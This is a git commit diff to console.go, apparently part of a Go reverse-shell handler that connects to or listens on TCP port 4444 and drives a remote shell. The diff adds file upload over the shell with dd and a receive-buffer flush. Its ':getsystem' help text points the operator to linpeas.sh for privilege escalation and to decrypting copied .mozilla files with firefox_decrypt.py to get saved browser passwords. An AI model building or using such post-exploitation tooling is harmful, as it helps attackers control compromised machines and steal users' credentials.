finish upload function
This commit is contained in:
35
console.go
35
console.go
@@ -22,9 +22,9 @@ func main() {
|
||||
fmt.Println("| |___ ___) | |__| (_) | | | \\__ \\ (_) | | __/")
|
||||
fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")
|
||||
|
||||
//console()
|
||||
console()
|
||||
//listener("tcp", 4444)
|
||||
dial("tcp", "127.0.0.1", 4444)
|
||||
//dial("tcp", "127.0.0.1", 4444)
|
||||
}
|
||||
|
||||
type env struct {
|
||||
@@ -70,13 +70,13 @@ func listener(network string, port int) {
|
||||
|
||||
//Get username
|
||||
conn.Write([]byte("id\n"))
|
||||
receiver(conn)
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
|
||||
go func() {
|
||||
for {
|
||||
<-receive
|
||||
receiver(conn)
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}()
|
||||
@@ -169,7 +169,9 @@ func execInput(input string) error {
|
||||
return nil
|
||||
|
||||
case "dial":
|
||||
dial("tcp", env1.rhost, env1.rport)
|
||||
//dial("tcp", env1.rhost, env1.rport)
|
||||
dial("tcp", "127.0.0.1", 4444)
|
||||
fmt.Print("dial ended")
|
||||
return nil
|
||||
case "exit":
|
||||
os.Exit(0)
|
||||
@@ -209,13 +211,13 @@ func dial(network string, host string, port int) {
|
||||
receive := make(chan int)
|
||||
|
||||
conn.Write([]byte("id\n"))
|
||||
receiver(conn)
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
|
||||
go func() {
|
||||
for {
|
||||
<-receive
|
||||
receiver(conn)
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}()
|
||||
@@ -247,6 +249,7 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
||||
fmt.Println("use :upload LOCAL REMOTE to upload")
|
||||
fmt.Println("use :exit to hung up session")
|
||||
fmt.Println("use :getsystem to get Local Privilege Escalation")
|
||||
fmt.Println("use :flush to flush receive buffer(Use only when input and output are inconsistent)")
|
||||
fmt.Print(env1.username + " > ")
|
||||
return
|
||||
}
|
||||
@@ -303,7 +306,7 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
||||
strcount := strconv.Itoa(int(count))
|
||||
conn.Write([]byte("dd of=" + args[2] + " status=none bs=1024 count=" + strcount + "\n"))
|
||||
conn.Write(uploadbuf)
|
||||
fmt.Print("Upload success")
|
||||
fmt.Println("Upload success")
|
||||
fmt.Print(env1.username + " > ")
|
||||
return
|
||||
}
|
||||
@@ -316,12 +319,13 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
||||
}
|
||||
|
||||
if strings.HasPrefix(inp, ":getsystem") {
|
||||
|
||||
fmt.Println("linpeas.sh is a priviliage escape script, please upload it and run")
|
||||
fmt.Println("you can download files in .mozilla and then decrypt them by firefox_decrypt.py")
|
||||
return
|
||||
}
|
||||
|
||||
if strings.HasPrefix(inp, "cd") {
|
||||
conn.Write([]byte(inp))
|
||||
if strings.HasPrefix(inp, ":flush") {
|
||||
receive <- 1
|
||||
return
|
||||
}
|
||||
conn.Write([]byte(inp))
|
||||
@@ -329,8 +333,9 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
||||
return
|
||||
}
|
||||
|
||||
func receiver(conn net.Conn) {
|
||||
buf := make([]byte, 1024)
|
||||
func receiver(conn net.TCPConn) {
|
||||
buflen := 65536
|
||||
buf := make([]byte, buflen)
|
||||
for {
|
||||
n, _ := conn.Read(buf)
|
||||
|
||||
@@ -349,7 +354,9 @@ func receiver(conn net.Conn) {
|
||||
}
|
||||
}
|
||||
fmt.Printf("%v", string(buf[:n]))
|
||||
if n != 1024 {
|
||||
if n != buflen {
|
||||
fmt.Println(n)
|
||||
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user